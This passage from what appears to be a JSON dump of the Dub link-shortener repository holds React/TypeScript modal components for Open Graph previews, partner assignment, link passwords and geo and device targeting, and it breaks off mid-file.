side=\"right\"\n              >\n                <kbd className=\"flex size-6 cursor-default items-center justify-center rounded-md border border-neutral-200 font-sans text-xs text-neutral-950\">\n                  L\n                </kbd>\n              </Tooltip>\n            </div>\n          </div>\n\n          <div className=\"scrollbar-hide -m-1 mt-6 flex max-h-[calc(100dvh-250px)] flex-col gap-6 overflow-y-auto p-1\">\n            <div>\n              <div className=\"flex items-center justify-between\">\n                <span className=\"block text-sm font-medium text-neutral-700\">\n                  Image\n                </span>\n                <div className=\"flex items-center gap-2\">\n                  {image && (\n                    <button\n                      type=\"button\"\n                      className=\"text-xs font-medium text-neutral-700 transition-colors hover:text-neutral-950\"\n                      onClick={() => {\n                        setValue(\"image\", null, { shouldDirty: true });\n                        setValue(\"proxy\", false, { shouldDirty: true });\n                      }}\n                    >\n                      Remove\n                    </button>\n                  )}\n                  <ButtonTooltip\n                    onClick={() => setShowPromptModal(true)}\n                    tooltipProps={{\n                      content: \"Paste a URL to an image\",\n                    }}\n                  >\n                    <Link className=\"size-4\" />\n                  </ButtonTooltip>\n                  <Popover\n                    content={\n                      <UnsplashSearch\n                        onImageSelected={(image) => {\n                          setValue(\"image\", image, { shouldDirty: true });\n                          if (plan && plan !== \"free\") {\n                            setValue(\"proxy\", true, { shouldDirty: true });\n                          }\n                        }}\n                        setOpenPopover={setOpenUnsplashPopover}\n                      />\n                    }\n                    openPopover={openUnsplashPopover}\n                    setOpenPopover={setOpenUnsplashPopover}\n                  >\n                    <div>\n                      <ButtonTooltip\n                        onClick={() => setOpenUnsplashPopover(true)}\n                        tooltipProps={{\n                          content: \"Choose an image from Unsplash\",\n                        }}\n                      >\n                        <Unsplash className=\"size-3 text-neutral-500\" />\n                      </ButtonTooltip>\n                    </div>\n                  </Popover>\n                </div>\n              </div>\n              <FileUpload\n                accept=\"images\"\n                variant=\"default\"\n                imageSrc={image}\n                onChange={async ({ file }) => {\n                  setResizing(true);\n\n                  const image = await resizeImage(file);\n                  setValue(\"image\", image, { shouldDirty: true });\n                  if (plan && plan !== \"free\") {\n                    setValue(\"proxy\", true, { shouldDirty: true });\n                  }\n\n                  // Delay to prevent flickering\n                  setTimeout(() => setResizing(false), 500);\n                }}\n                loading={generatingMetatags || resizing}\n                clickToUpload={true}\n                showHoverOverlay={false}\n                accessibilityLabel=\"OG image upload\"\n                className=\"mt-2\"\n                content={\n                  <>\n                    <p>Drag and drop or click to upload.</p>\n                    <p className=\"mt-1\">Recommended: 1200 x 630 pixels</p>\n                  </>\n                }\n              />\n            </div>\n\n            {/* Title */}\n            <div>\n              <div className=\"flex items-center justify-between\">\n                <p className=\"block text-sm font-medium text-neutral-700\">\n                  Title\n                </p>\n                <div className=\"flex items-center gap-2\">\n                  <p className=\"text-sm text-neutral-500\">\n                    {title?.length || 0}/120\n                  </p>\n                  <ButtonTooltip\n                    tooltipProps={{\n                      content: exceededAI\n                        ? \"You've exceeded your AI usage limit\"\n                        : !title\n                          ? \"Enter a title to generate a preview\"\n                          : \"Generate an optimized title using AI.\",\n                    }}\n                    onClick={generateTitle}\n                    disabled={generatingTitle || exceededAI || !title}\n                  >\n                    {generatingTitle ? (\n                      <LoadingCircle />\n                    ) : (\n                      <Magic className=\"size-4\" />\n                    )}\n                  </ButtonTooltip>\n                </div>\n              </div>\n              <div className=\"relative mt-1 flex rounded-md shadow-sm\">\n                {generatingMetatags && (\n                  <div className=\"absolute flex h-full w-full items-center justify-center rounded-md border border-neutral-300 bg-white\">\n                    <LoadingCircle />\n                  </div>\n                )}\n                <TextareaAutosize\n                  name=\"title\"\n                  id=\"title\"\n                  minRows={2}\n                  maxLength={120}\n                  className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                  placeholder=\"Add a title...\"\n                  value={title || \"\"}\n                  onChange={(e) => {\n                    setValue(\"title\", e.target.value, { shouldDirty: true });\n                    if (plan && plan !== \"free\") {\n                      setValue(\"proxy\", true, { shouldDirty: true });\n                    }\n                  }}\n                  aria-invalid=\"true\"\n                />\n              </div>\n            </div>\n\n            {/* Description */}\n            <div>\n              <div className=\"flex items-center justify-between\">\n                <p className=\"block text-sm font-medium text-neutral-700\">\n                  Description\n                </p>\n                <div className=\"flex items-center gap-2\">\n                  <p className=\"text-sm text-neutral-500\">\n                    {description?.length || 0}/240\n                  </p>\n                  <ButtonTooltip\n                    tooltipProps={{\n                      content: exceededAI\n                        ? \"You've exceeded your AI usage limit\"\n                        : !description\n                          ? \"Enter a description to generate a preview\"\n                          : \"Generate an optimized description using AI.\",\n                    }}\n                    onClick={generateDescription}\n                    disabled={\n                      generatingDescription || exceededAI || !description\n                    }\n                  >\n                    {generatingDescription ? (\n                      <LoadingCircle />\n                    ) : (\n                      <Magic className=\"size-4\" />\n                    )}\n                  </ButtonTooltip>\n                </div>\n              </div>\n              <div className=\"relative mt-1 flex rounded-md shadow-sm\">\n                {generatingMetatags && (\n                  <div className=\"absolute flex h-full w-full items-center justify-center rounded-md border border-neutral-300 bg-white\">\n                    <LoadingCircle />\n                  </div>\n                )}\n                <TextareaAutosize\n                  name=\"description\"\n                  id=\"description\"\n                  minRows={3}\n                  maxLength={240}\n                  className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                  placeholder=\"Add a description...\"\n                  value={description || \"\"}\n                  onChange={(e) => {\n                    setValue(\"description\", e.target.value, {\n                      shouldDirty: true,\n                    });\n                    if (plan && plan !== \"free\") {\n                      setValue(\"proxy\", true, { shouldDirty: true });\n                    }\n                  }}\n                  aria-invalid=\"true\"\n                />\n              </div>\n            </div>\n          </div>\n\n          <div className=\"mt-6 flex items-center justify-between\">\n            <button\n              type=\"button\"\n              className=\"text-xs font-medium text-neutral-700 transition-colors hover:text-neutral-950\"\n              onClick={() => {\n                setValueParent(\"proxy\", false, { shouldDirty: true });\n                [\"title\", \"description\", \"image\"].forEach(\n                  (key: \"title\" | \"description\" | \"image\") =>\n                    setValueParent(key, null, { shouldDirty: true }),\n                );\n                setShowOGModal(false);\n              }}\n            >\n              Reset to default\n            </button>\n            <div className=\"flex items-center gap-2\">\n              <Button\n                type=\"button\"\n                variant=\"secondary\"\n                text=\"Cancel\"\n                className=\"h-9 w-fit\"\n                onClick={() => {\n                  reset();\n                  setShowOGModal(false);\n                }}\n              />\n              <Button\n                type=\"submit\"\n                variant=\"primary\"\n                text=\"Save changes\"\n                className=\"h-9 w-fit\"\n                disabled={!isDirty}\n              />\n            </div>\n          </div>\n        </form>\n      </Modal>\n    </>\n  );\n}\n\nexport function useOGModal() {\n  const [showOGModal, setShowOGModal] = useState(false);\n\n  const OGModalCallback = useCallback(() => {\n    return (\n      <OGModal showOGModal={showOGModal} setShowOGModal={setShowOGModal} />\n    );\n  }, [showOGModal, setShowOGModal]);\n\n  return useMemo(\n    () => ({\n      setShowOGModal,\n      OGModal: OGModalCallback,\n    }),\n    [setShowOGModal, OGModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/link-builder/partners-modal.tsx",
    "content": "import { LinkFormData } from \"@/ui/links/link-builder/link-builder-provider\";\nimport { PartnerSelector } from \"@/ui/partners/partner-selector\";\nimport { Button, Modal, Tooltip } from \"@dub/ui\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { useForm, useFormContext } from \"react-hook-form\";\n\nfunction PartnersModal({\n  showPartnerModal,\n  setShowPartnerModal,\n}: {\n  showPartnerModal: boolean;\n  setShowPartnerModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  return (\n    <Modal\n      showModal={showPartnerModal}\n      setShowModal={setShowPartnerModal}\n      className=\"sm:max-w-md\"\n    >\n      <PartnerModalInner setShowPartnerModal={setShowPartnerModal} />\n    </Modal>\n  );\n}\n\nfunction PartnerModalInner({\n  setShowPartnerModal,\n}: {\n  setShowPartnerModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const {\n    watch: watchParent,\n    getValues: getValuesParent,\n    setValue: setValueParent,\n  } = useFormContext<LinkFormData>();\n\n  const {\n    watch,\n    setValue,\n    reset,\n    formState: { isDirty },\n    handleSubmit,\n  } = useForm<Pick<LinkFormData, \"partnerId\">>({\n    values: {\n      partnerId: getValuesParent(\"partnerId\"),\n    },\n  });\n\n  const parentPartnerId = watchParent(\"partnerId\");\n  const partnerId = watch(\"partnerId\");\n\n  return (\n    <form\n      className=\"px-5 py-4\"\n      onSubmit={(e) => {\n        e.stopPropagation();\n        handleSubmit((data) => {\n          setValueParent(\"partnerId\", data.partnerId, { shouldDirty: true });\n          setShowPartnerModal(false);\n        })(e);\n      }}\n    >\n      <div className=\"flex items-center justify-between\">\n        <div className=\"flex items-center gap-2\">\n          <h3 className=\"text-lg font-medium\">Assign to partner</h3>\n        </div>\n        <div className=\"max-md:hidden\">\n          <Tooltip\n            content={\n              <div className=\"px-2 py-1 text-xs text-neutral-700\">\n                Press{\" \"}\n                <strong className=\"font-medium text-neutral-950\">B</strong> to\n                open this quickly\n              </div>\n            }\n            side=\"right\"\n          >\n            <kbd className=\"flex size-6 cursor-default items-center justify-center rounded-md border border-neutral-200 font-sans text-xs text-neutral-950\">\n              B\n            </kbd>\n          </Tooltip>\n        </div>\n      </div>\n\n      <div className=\"mt-6 flex flex-col gap-2\">\n        <span className=\"block text-sm font-medium text-neutral-900\">\n          Partner\n        </span>\n\n        <PartnerSelector\n          selectedPartnerId={partnerId || null}\n          setSelectedPartnerId={(id: string | null) =>\n            setValue(\"partnerId\", id, { shouldDirty: true })\n          }\n        />\n      </div>\n\n      <div className=\"mt-6 flex items-center justify-between\">\n        <div>\n          {Boolean(parentPartnerId) && (\n            <button\n              type=\"button\"\n              className=\"text-xs font-medium text-neutral-700 transition-colors hover:text-neutral-950\"\n              onClick={() => {\n                setValueParent(\"partnerId\", null, { shouldDirty: true });\n                setShowPartnerModal(false);\n              }}\n            >\n              Remove partner\n            </button>\n          )}\n        </div>\n\n        <div className=\"flex items-center gap-2\">\n          <Button\n            type=\"button\"\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-9 w-fit\"\n            onClick={() => {\n              reset();\n              setShowPartnerModal(false);\n            }}\n          />\n          <Button\n            type=\"submit\"\n            variant=\"primary\"\n            text=\"Save\"\n            className=\"h-9 w-fit\"\n            disabled={!isDirty}\n          />\n        </div>\n      </div>\n    </form>\n  );\n}\n\nexport function usePartnersModal() {\n  const [showPartnerModal, setShowPartnerModal] = useState(false);\n\n  const PartnersModalCallback = useCallback(() => {\n    return (\n      <PartnersModal\n        showPartnerModal={showPartnerModal}\n        setShowPartnerModal={setShowPartnerModal}\n      />\n    );\n  }, [showPartnerModal, setShowPartnerModal]);\n\n  return useMemo(\n    () => ({\n      setShowPartnerModal,\n      PartnersModal: PartnersModalCallback,\n    }),\n    [setShowPartnerModal, PartnersModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/link-builder/password-modal.tsx",
    "content": "import { LinkFormData } from \"@/ui/links/link-builder/link-builder-provider\";\nimport { useLinkBuilderKeyboardShortcut } from \"@/ui/links/link-builder/use-link-builder-keyboard-shortcut\";\nimport { ProBadgeTooltip } from \"@/ui/shared/pro-badge-tooltip\";\nimport { Button, ButtonTooltip, Modal, Tooltip, useMediaQuery } from \"@dub/ui\";\nimport { Eye, EyeSlash, InputPassword, Shuffle } from \"@dub/ui/icons\";\nimport { cn, nanoid } from \"@dub/utils\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useEffect,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { useForm, useFormContext } from \"react-hook-form\";\nfunction PasswordModal({\n  showPasswordModal,\n  setShowPasswordModal,\n}: {\n  showPasswordModal: boolean;\n  setShowPasswordModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  return (\n    <Modal\n      showModal={showPasswordModal}\n      setShowModal={setShowPasswordModal}\n      className=\"sm:max-w-md\"\n    >\n      <PasswordModalInner setShowPasswordModal={setShowPasswordModal} />\n    </Modal>\n  );\n}\n\nfunction PasswordModalInner({\n  setShowPasswordModal,\n}: {\n  setShowPasswordModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { isMobile } = useMediaQuery();\n  const inputRef = useRef<HTMLInputElement | null>(null);\n  const {\n    watch: watchParent,\n    getValues: getValuesParent,\n    setValue: setValueParent,\n  } = useFormContext<LinkFormData>();\n\n  const {\n    register,\n    setValue,\n    reset,\n    formState: { isDirty, errors },\n    handleSubmit,\n  } = useForm<Pick<LinkFormData, \"password\">>({\n    values: {\n      password: getValuesParent(\"password\"),\n    },\n  });\n\n  const passwordParent = watchParent(\"password\");\n\n  const [showPassword, setShowPassword] = useState(false);\n\n  // Hacky fix to focus the input automatically, not sure why autoFocus doesn't work here\n  useEffect(() => {\n    if (inputRef.current && !isMobile) {\n      setTimeout(() => {\n        inputRef.current?.focus();\n      }, 10);\n    }\n  }, []);\n\n  const { ref, ...rest } = register(\"password\");\n\n  return (\n    <form\n      className=\"px-5 py-4\"\n      onSubmit={(e) => {\n        e.stopPropagation();\n        handleSubmit((data) => {\n          setValueParent(\"password\", data.password, { shouldDirty: true });\n          setShowPasswordModal(false);\n        })(e);\n      }}\n    >\n      <div className=\"flex items-center justify-between\">\n        <div className=\"flex items-center gap-2\">\n          <h3 className=\"text-lg font-medium\">Link Password</h3>\n          <ProBadgeTooltip\n            content={\n              \"Restrict access to your short links by encrypting it with a password. [Learn more.](https://dub.co/help/article/password-protected-links)\"\n            }\n          />\n        </div>\n        <div className=\"max-md:hidden\">\n          <Tooltip\n            content={\n              <div className=\"px-2 py-1 text-xs text-neutral-700\">\n                Press{\" \"}\n                <strong className=\"font-medium text-neutral-950\">P</strong> to\n                open this quickly\n              </div>\n            }\n            side=\"right\"\n          >\n            <kbd className=\"flex size-6 cursor-default items-center justify-center rounded-md border border-neutral-200 font-sans text-xs text-neutral-950\">\n              P\n            </kbd>\n          </Tooltip>\n        </div>\n      </div>\n\n      <div className=\"mt-6\">\n        <div className=\"flex items-center justify-between\">\n          <span className=\"block text-sm font-medium text-neutral-700\">\n            Password\n          </span>\n          <div className=\"flex items-center gap-2\">\n            <ButtonTooltip\n              className=\"text-neutral-500 transition-colors hover:text-neutral-800\"\n              tooltipProps={{\n                content: showPassword ? \"Hide password\" : \"Reveal password\",\n              }}\n              onClick={() => setShowPassword((s) => !s)}\n            >\n              {showPassword ? (\n                <EyeSlash className=\"size-4\" />\n              ) : (\n                <Eye className=\"size-4\" />\n              )}\n            </ButtonTooltip>\n            <ButtonTooltip\n              tooltipProps={{\n                content: \"Generate a random password\",\n              }}\n              onClick={() => {\n                setValue(\"password\", nanoid(24), { shouldDirty: true });\n              }}\n            >\n              <Shuffle className=\"size-4\" />\n            </ButtonTooltip>\n          </div>\n        </div>\n        <div className=\"mt-2 rounded-md shadow-sm\">\n          <input\n            type={showPassword ? \"text\" : \"password\"}\n            placeholder=\"Create password\"\n            data-1p-ignore\n            className={`${\n              errors.password\n                ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:ring-neutral-500\"\n            } block w-full rounded-md focus:outline-none sm:text-sm`}\n            {...rest}\n            ref={(e) => {\n              ref(e);\n              inputRef.current = e;\n            }}\n          />\n        </div>\n      </div>\n\n      <div className=\"mt-6 flex items-center justify-between\">\n        <div>\n          {Boolean(passwordParent) && (\n            <button\n              type=\"button\"\n              className=\"text-xs font-medium text-neutral-700 transition-colors hover:text-neutral-950\"\n              onClick={() => {\n                setValueParent(\"password\", null, { shouldDirty: true });\n                [\"title\", \"description\", \"image\"].forEach(\n                  (key: \"title\" | \"description\" | \"image\") =>\n                    setValueParent(key, null, { shouldDirty: true }),\n                );\n                setShowPasswordModal(false);\n              }}\n            >\n              Remove password\n            </button>\n          )}\n        </div>\n        <div className=\"flex items-center gap-2\">\n          <Button\n            type=\"button\"\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-9 w-fit\"\n            onClick={() => {\n              reset();\n              setShowPasswordModal(false);\n            }}\n          />\n          <Button\n            type=\"submit\"\n            variant=\"primary\"\n            text={passwordParent ? \"Save\" : \"Add password\"}\n            className=\"h-9 w-fit\"\n            disabled={!isDirty}\n          />\n        </div>\n      </div>\n    </form>\n  );\n}\n\nexport function getPasswordLabel({ password }: Pick<LinkFormData, \"password\">) {\n  return password ? \"Protected\" : \"Password\";\n}\n\nfunction PasswordButton({\n  setShowPasswordModal,\n}: {\n  setShowPasswordModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { watch } = useFormContext<LinkFormData>();\n  const password = watch(\"password\");\n\n  useLinkBuilderKeyboardShortcut(\"p\", () => setShowPasswordModal(true));\n\n  return (\n    <Button\n      variant=\"secondary\"\n      text={getPasswordLabel({ password })}\n      icon={\n        <InputPassword className={cn(\"size-4\", password && \"text-blue-500\")} />\n      }\n      className=\"h-8 w-fit gap-1.5 px-2.5 text-xs font-medium text-neutral-700\"\n      onClick={() => setShowPasswordModal(true)}\n    />\n  );\n}\n\nexport function usePasswordModal() {\n  const [showPasswordModal, setShowPasswordModal] = useState(false);\n\n  const PasswordModalCallback = useCallback(() => {\n    return (\n      <PasswordModal\n        showPasswordModal={showPasswordModal}\n        setShowPasswordModal={setShowPasswordModal}\n      />\n    );\n  }, [showPasswordModal, setShowPasswordModal]);\n\n  const PasswordButtonCallback = useCallback(() => {\n    return <PasswordButton setShowPasswordModal={setShowPasswordModal} />;\n  }, [setShowPasswordModal]);\n\n  return useMemo(\n    () => ({\n      setShowPasswordModal,\n      PasswordModal: PasswordModalCallback,\n      PasswordButton: PasswordButtonCallback,\n    }),\n    [setShowPasswordModal, PasswordModalCallback, PasswordButtonCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/link-builder/targeting-modal.tsx",
    "content": "import { LinkFormData } from \"@/ui/links/link-builder/link-builder-provider\";\nimport { useLinkBuilderKeyboardShortcut } from \"@/ui/links/link-builder/use-link-builder-keyboard-shortcut\";\nimport { ProBadgeTooltip } from \"@/ui/shared/pro-badge-tooltip\";\nimport { Button, Combobox, Modal, Tooltip, UTM_PARAMETERS } from \"@dub/ui\";\nimport { Crosshairs3, Trash } from \"@dub/ui/icons\";\nimport {\n  cn,\n  constructURLFromUTMParams,\n  COUNTRIES,\n  getParamsFromURL,\n  isValidUrl,\n  pluralize,\n} from \"@dub/utils\";\nimport {\n  Dispatch,\n  Fragment,\n  SetStateAction,\n  useCallback,\n  useId,\n  useMemo,\n  useState,\n} from \"react\";\nimport { useForm, useFormContext } from \"react-hook-form\";\n\nfunction TargetingModal({\n  showTargetingModal,\n  setShowTargetingModal,\n}: {\n  showTargetingModal: boolean;\n  setShowTargetingModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const id = useId();\n\n  const {\n    watch: watchParent,\n    getValues: getValuesParent,\n    setValue: setValueParent,\n  } = useFormContext<LinkFormData>();\n\n  const {\n    watch,\n    register,\n    setValue,\n    reset,\n    handleSubmit,\n    formState: { isDirty },\n  } = useForm<Pick<LinkFormData, \"ios\" | \"android\" | \"geo\">>({\n    values: {\n      ios: getValuesParent(\"ios\"),\n      android: getValuesParent(\"android\"),\n      geo: getValuesParent(\"geo\"),\n    },\n  });\n\n  const geo = watch(\"geo\");\n\n  const [iosParent, androidParent, geoParent] = watchParent([\n    \"ios\",\n    \"android\",\n    \"geo\",\n  ]);\n\n  const parentEnabled = Boolean(\n    iosParent || androidParent || Object.keys(geoParent || {}).length > 0,\n  );\n\n  // Get UTM parameters from the parent URL that need to be added on blur\n  const getNewParams = useCallback(\n    (targetURL: string) => {\n      if (!targetURL?.trim() || !isValidUrl(targetURL)) return;\n\n      const parentUrl = getValuesParent(\"url\");\n      const parentParams = getParamsFromURL(parentUrl);\n      const targetParams = getParamsFromURL(targetURL);\n\n      const newParams = UTM_PARAMETERS.filter(\n        ({ key }) => parentParams?.[key] && !targetParams?.[key],\n      ).map(({ key }) => [key, parentParams[key]]);\n\n      return newParams.length ? Object.fromEntries(newParams) : null;\n    },\n    [getValuesParent],\n  );\n\n  return (\n    <>\n      <Modal\n        showModal={showTargetingModal}\n        setShowModal={setShowTargetingModal}\n        className=\"sm:max-w-[500px]\"\n      >\n        <form\n          className=\"px-5 py-4\"\n          onSubmit={(e) => {\n            e.stopPropagation();\n            handleSubmit((data) => {\n              setValueParent(\"ios\", data.ios, { shouldDirty: true });\n              setValueParent(\"android\", data.android, { shouldDirty: true });\n\n              // Filter out empty geo values\n              const geo = Object.fromEntries(\n                Object.entries(data.geo || {}).filter(\n                  ([key, value]) => key?.trim() && value?.trim(),\n                ),\n              );\n              setValueParent(\"geo\", Object.keys(geo).length > 0 ? geo : null, {\n                shouldDirty: true,\n              });\n\n              setShowTargetingModal(false);\n            })(e);\n          }}\n        >\n          <div className=\"flex items-center justify-between\">\n            <h3 className=\"text-lg font-medium\">Targeting</h3>\n            <div className=\"max-md:hidden\">\n              <Tooltip\n                content={\n                  <div className=\"px-2 py-1 text-xs text-neutral-700\">\n                    Press{\" \"}\n                    <strong className=\"font-medium text-neutral-950\">G</strong>{\" \"}\n                    to open this quickly\n                  </div>\n                }\n                side=\"right\"\n              >\n                <kbd className=\"flex size-6 cursor-default items-center justify-center gap-1 rounded-md border border-neutral-200 font-sans text-xs text-neutral-950\">\n                  G\n                </kbd>\n              </Tooltip>\n            </div>\n          </div>\n\n          <div className=\"scrollbar-hide -m-1 mt-6 flex max-h-[calc(100dvh-250px)] flex-col gap-6 overflow-y-auto p-1\">\n            {/* Geo */}\n            <div>\n              <div className=\"flex items-center gap-2\">\n                <span className=\"block text-sm font-medium text-neutral-700\">\n                  Geo Targeting\n                </span>\n                <ProBadgeTooltip content=\"Redirect your users to different links based on their location. [Learn more about geo targeting.](https://dub.co/help/article/geo-targeting)\" />\n              </div>\n              <div className=\"mt-2\">\n                {geo && (\n                  <div className=\"relative mb-2 grid grid-cols-[min-content_1fr_min-content] gap-y-2\">\n                    {Object.entries(geo).map(([key, value]) => (\n                      <Fragment key={key}>\n                        <div className=\"z-[1]\">\n                          <Combobox\n                            selected={\n                              key ? { value: key, label: COUNTRIES[key] } : null\n                            }\n                            setSelected={(option) => {\n                              if (!option) return;\n                              const newGeo = {};\n                              delete Object.assign(newGeo, geo, {\n                                [option.value]: value,\n                              })[key];\n                              setValue(\"geo\", newGeo, { shouldDirty: true });\n                            }}\n                            options={Object.entries(COUNTRIES)\n                              // show United States first\n                              .sort((a, b) =>\n                                a[0] === \"US\" ? -1 : b[0] === \"US\" ? 1 : 0,\n                              )\n                              .filter(\n                                ([ck]) =>\n                                  ck === key || !Object.keys(geo).includes(ck),\n                              )\n                              .map(([key, value]) => ({\n                                icon: (\n                                  <img\n                                    alt={value}\n                                    src={`https://flag.vercel.app/m/${key}.svg`}\n                                    className=\"mr-1 h-2.5 w-4\"\n                                  />\n                                ),\n                                value: key,\n                                label: value,\n                              }))}\n                            icon={\n                              key ? (\n                                <img\n                                  alt={COUNTRIES[key]}\n                                  src={`https://flag.vercel.app/m/${key}.svg`}\n                                  className=\"h-2.5 w-4\"\n                                />\n                              ) : undefined\n                            }\n                            caret={true}\n                            placeholder=\"Country\"\n                            searchPlaceholder=\"Search countries...\"\n                            buttonProps={{\n                              className: cn(\n                                \"w-32 sm:w-40 rounded-r-none border-r-transparent justify-start px-2.5\",\n                                \"data-[state=open]:ring-1 data-[state=open]:ring-neutral-500 data-[state=open]:border-neutral-500\",\n                                \"focus:ring-1 focus:ring-neutral-500 focus:border-neutral-500 transition-none\",\n                                !key && \"text-neutral-600\",\n                              ),\n                            }}\n                            optionClassName=\"sm:max-w-[200px]\"\n                          />\n                        </div>\n                        <input\n                          type=\"text\"\n                          id={`${id}-${key}`}\n                          placeholder=\"https://example.com\"\n                          className=\"z-0 h-full grow rounded-r-md border border-neutral-300 text-sm placeholder-neutral-400 focus:z-[1] focus:border-neutral-500 focus:ring-neutral-500\"\n                          value={value}\n                          onChange={(e) => {\n                            setValue(\n                              `geo`,\n                              {\n                                ...((geo as object) || {}),\n                                [key]: e.target.value,\n                              },\n                              { shouldDirty: true },\n                            );\n                          }}\n                          onBlur={(e) => {\n                            const newParams = getNewParams(e.target.value);\n\n                            if (newParams)\n                              setValue(\n                                `geo`,\n                                {\n                                  ...((geo as object) || {}),\n                                  [key]: constructURLFromUTMParams(\n                                    value,\n                                    newParams,\n                                  ),\n                                },\n                                { shouldDirty: true },\n                              );\n                          }}\n                        />\n                        <div className=\"pl-1.5\">\n                          <Button\n                            variant=\"danger-outline\"\n                            icon={<Trash className=\"size-4\" />}\n                            className=\"bg-red-600/5 px-3 text-red-600 hover:bg-red-600/10 hover:text-red-700\"\n                            onClick={() => {\n                              const newGeo = { ...((geo as object) || {}) };\n                              delete newGeo[key];\n                              setValue(\"geo\", newGeo, { shouldDirty: true });\n                            }}\n                          />\n                        </div>\n                      </Fragment>\n                    ))}\n                  </div>\n                )}\n                <Button\n                  type=\"button\"\n                  variant=\"secondary\"\n                  text=\"Add location\"\n                  className=\"h-9\"\n                  onClick={() => {\n                    setValue(\n                      \"geo\",\n                      { ...((geo as object) || {}), \"\": \"\" },\n                      { shouldDirty: true },\n                    );\n                  }}\n                  disabled={Object.keys(geo || {}).includes(\"\")}\n                />\n              </div>\n            </div>\n\n            {/* iOS */}\n            <div>\n              <div className=\"flex items-center gap-2\">\n                <label\n                  htmlFor={`${id}-ios-url`}\n                  className=\"block text-sm font-medium text-neutral-700\"\n                >\n                  iOS Targeting\n                </label>\n                <ProBadgeTooltip content=\"Redirect your iOS users to a different link. [Learn more about device targeting.](https://dub.co/help/article/device-targeting)\" />\n              </div>\n              <div className=\"mt-2 rounded-md shadow-sm\">\n                <input\n                  id={`${id}-ios-url`}\n                  placeholder=\"https://apps.apple.com/app/1611158928\"\n                  className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                  {...register(\"ios\", {\n                    onBlur: (e) => {\n                      const newParams = getNewParams(e.target.value);\n\n                      if (newParams)\n                        setValue(\n                          \"ios\",\n                          constructURLFromUTMParams(e.target.value, newParams),\n                          { shouldDirty: true },\n                        );\n                    },\n                  })}\n                />\n              </div>\n            </div>\n\n            {/* Android */}\n            <div>\n              <div className=\"flex items-center gap-2\">\n                <label\n                  htmlFor={`${id}-android-url`}\n                  className=\"block text-sm font-medium text-neutral-700\"\n                >\n                  Android Targeting\n                </label>\n                <ProBadgeTooltip content=\"Redirect your Android users to a different link. [Learn more about device targeting.](https://dub.co/help/article/device-targeting)\" />\n              </div>\n              <div className=\"mt-2 rounded-md shadow-sm\">\n                <input\n                  id={`${id}-android-url`}\n                  placeholder=\"https://play.google.com/store/apps/details?id=com.disney.disneyplus\"\n                  className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                  {...register(\"android\", {\n                    onBlur: (e) => {\n                      const newParams = getNewParams(e.target.value);\n\n                      if (newParams)\n                        setValue(\n                          \"android\",\n                          constructURLFromUTMParams(e.target.value, newParams),\n                          { shouldDirty: true },\n                        );\n                    },\n                  })}\n                />\n              </div>\n            </div>\n          </div>\n\n          <div className=\"mt-6 flex items-center justify-between\">\n            <div>\n              {parentEnabled && (\n                <button\n                  type=\"button\"\n                  className=\"text-xs font-medium text-neutral-700 transition-colors hover:text-neutral-950\"\n                  onClick={() => {\n                    setValueParent(\"ios\", null, { shouldDirty: true });\n                    setValueParent(\"android\", null, { shouldDirty: true });\n                    setValueParent(\"geo\", null, { shouldDirty: true });\n                    setShowTargetingModal(false);\n                  }}\n                >\n                  Remove targeting\n                </button>\n              )}\n            </div>\n            <div className=\"flex items-center gap-2\">\n              <Button\n                type=\"button\"\n                variant=\"secondary\"\n                text=\"Cancel\"\n                className=\"h-9 w-fit\"\n                onClick={() => {\n                  reset();\n                  setShowTargetingModal(false);\n                }}\n              />\n              <Button\n                type=\"submit\"\n                variant=\"primary\"\n                text={parentEnabled ? \"Save\" : \"Add targeting\"}\n                className=\"h-9 w-fit\"\n                disabled={!isDirty}\n              />\n            </div>\n          </div>\n        </form>\n      </Modal>\n    </>\n  );\n}\n\nexport function getTargetingLabel({\n  ios,\n  android,\n  geo,\n}: Pick<LinkFormData, \"ios\" | \"android\" | \"geo\">) {\n  const geoEnabled = Object.keys(geo || {}).length > 0;\n\n  const targets = [Boolean(ios), Boolean(android), geoEnabled];\n  const count = targets.filter(Boolean).length;\n  const countries = Object.keys(geo || {});\n\n  if (count === 0) return \"Targeting\";\n  if (count === 1) {\n    const index = targets.findIndex(Boolean);\n    if (index <= 1) return [\"iOS\", \"Android\"][index];\n    if (!geoEnabled) return \"Targeting\";\n\n    // Geo\n    if (countries.length === 1 && countries[0]) return countries[0];\n    return `${countries.length} ${pluralize(\"Target\", countries.length)}`;\n  }\n\n  return `${count + (countries.length > 1 ? countries.length - 1 : 0)} Targets`;\n}\n\nfunction TargetingButton({\n  setShowTargetingModal,\n}: {\n  setShowTargetingModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { watch } = useFormContext<LinkFormData>();\n  const [ios, android, geo] = watch([\"ios\", \"android\", \"geo\"]);\n\n  useLinkBuilderKeyboardShortcut(\"g\", () => setShowTargetingModal(true));\n\n  const geoEnabled = Object.keys(geo || {}).length > 0;\n  const enabled = Boolean(ios || android || geoEnabled);\n\n  const 